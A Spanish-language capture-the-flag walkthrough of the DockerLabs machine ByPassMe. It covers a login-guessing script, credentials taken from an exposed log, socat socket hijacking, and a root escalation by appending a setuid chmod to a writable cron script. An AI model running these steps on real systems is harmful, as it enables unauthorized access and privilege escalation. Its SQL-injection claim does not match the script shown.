Ir al contenido

ByPassMe

En este artículo se documenta la resolución completa de la máquina virtual ByPassMe, creada por RSA y catalogada como fácil en la plataforma DockerLabs. El propósito es ofrecer una guía reproducible y didáctica, explicando qué se hizo, por qué se realizó cada acción y cómo detectar patrones similares en otros entornos.

El proceso se divide en tres fases principales:

  1. Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
  2. Explotación – Obtención de acceso inicial mediante vulnerabilidad de autenticación.
  3. Escalada de privilegios – Abuso de configuraciones inseguras (sudo, cron jobs, manipulación del PATH) para alcanzar privilegios de root.

⚠️ Aviso: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de laboratorios o entornos autorizados.


AtributoDetalle
NombreByPassMe
AutorRSA
DificultadFácil
Fecha de creación30/05/2025
PlataformaDockerLabs

  1. Descomprimir el paquete descargado desde DockerLabs:

    Ventana de terminal
    unzip ByPassMe.zip
  2. Desplegar el contenedor con el script incluido:

    Ventana de terminal
    sudo bash auto_deploy.sh ByPassMe.tar

El script levantará automáticamente un contenedor Docker con los servicios necesarios y mostrará la IP asignada al finalizar. Guarda esta dirección, ya que se usará a lo largo del proceso de explotación.


Para mantener un entorno de trabajo limpio y ordenado, creamos una estructura de directorios:

Ventana de terminal
mkdir -p ByPassMe/{content,exploits,nmap,scripts}
cd ByPassMe

Consejo: Documentar y organizar cada hallazgo desde el inicio facilita el análisis y la posterior redacción del reporte.

IP asignada


Ejecutamos un escaneo completo con Nmap para descubrir los servicios activos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Luego extraemos los puertos detectados con un script auxiliar (extractPorts) o manualmente:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Servicios identificados:

  • Puerto 22 – SSH
  • Puerto 80 – HTTP

Estos resultados sugieren que el vector inicial probablemente se encuentre en el servicio web.


Procedemos con Gobuster para enumerar directorios y archivos accesibles desde el sitio web:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200 -o gobuster.txt

Gobuster

Rutas encontradas:

  • /index.php
  • /login.php login
  • /welcome.php
  • /logs

Todas las rutas redirigen al formulario de inicio de sesión, lo que sugiere que el acceso está protegido por autenticación. Este será nuestro primer punto de ataque.


El nombre de la máquina, “ByPassMe”, sugiere que la vulnerabilidad está relacionada con un bypass de login, probablemente mediante una inyección SQL (SQLi).

Para automatizar pruebas de inyección en el campo password, se desarrolló el siguiente script en Python:

import requests
def brute_force_password(password_list):
burp0_url = "http://172.17.0.2:80/login.php"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)",
"Accept": "text/html,application/xhtml+xml"
}
for password in password_list:
burp0_data = {"username": "test", "password": password.strip()}
try:
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(f"Probando: {password.strip()} - Status: {response.status_code} - Longitud: {len(response.content)}")
if any(word in response.text for word in ["Bienvenido", "Dashboard", "logout"]):
print(f"[+] CONTRASEÑA ENCONTRADA: {password}")
return password
except Exception as e:
print(f"Error con {password}: {e}")
print("[-] Contraseña no encontrada")
return None
with open('dictionary.txt', 'r') as f:
passwords = f.readlines()
brute_force_password(passwords)

Aunque el script no muestra el éxito directamente en consola, si se captura una cookie de sesión válida, se puede reutilizar en el navegador para acceder al panel. Al hacerlo, se logra el bypass del login:

welcome

A continuación, enumeramos el directorio /logs. No se permite el listado directo, por lo que recurrimos al fuzzing con FFUF:

Ffuf

Encontramos el archivo logs.txt, visible desde el navegador:

logs.txt content

En su contenido aparecen credenciales en texto plano del usuario albert, que nos permiten iniciar sesión por SSH:

ssh login


Una vez dentro del sistema como albert, iniciamos la enumeración de procesos y configuraciones.

Con el comando ps aux, observamos un proceso socat escuchando conexiones locales:

ps aux

Podemos aprovecharnos de esto para conectarnos al socket UNIX del usuario conx:

Ventana de terminal
socat - UNIX-CONNECT:/home/conx/.cache/.sock

La conexión nos otorga una nueva sesión como el usuario conx:

user conx


Repetimos la enumeración con ps aux y detectamos un proceso cron ejecutado por root:

ps aux in conx

Listamos las tareas programadas en /etc/cron.d/:

Ventana de terminal
ls -la /etc/cron.d/

Identificamos un archivo interesante llamado backup-cron con el siguiente contenido:

* * * * * root bash /var/backups/backup.sh

Este cron ejecuta un script editable por usuarios comunes, lo cual constituye una grave vulnerabilidad. Podemos modificarlo para escalar privilegios insertando un comando malicioso:

Ventana de terminal
echo "chmod u+s /bin/bash" >> /var/backups/backup.sh

Tras esperar un minuto, el cron ejecutará nuestro cambio. Finalmente, obtenemos una shell privilegiada con:

Ventana de terminal
bash -p

¡Acceso root conseguido!

root


  1. Login Bypass mediante inyección SQL.
  2. Extracción de credenciales desde un archivo log accesible públicamente.
  3. Movimiento lateral usando un socket UNIX interno (socat).
  4. Escalada de privilegios explotando un script cron con permisos inseguros.

  • Formularios web vulnerables a inyección SQL.
  • Archivos sensibles (logs.txt) expuestos públicamente.
  • Permisos incorrectos en scripts del sistema (backup.sh).
  • Falta de segregación de usuarios y validación de procesos en background.

  • Implementar filtrado de entrada y consultas parametrizadas en el backend.
  • Restringir acceso a directorios web y archivos de registro.
  • Revisar permisos de ejecución y propiedad de scripts automatizados.
  • Configurar auditorías periódicas de tareas cron y procesos persistentes.
  • Separar entornos de desarrollo y producción para minimizar exposición.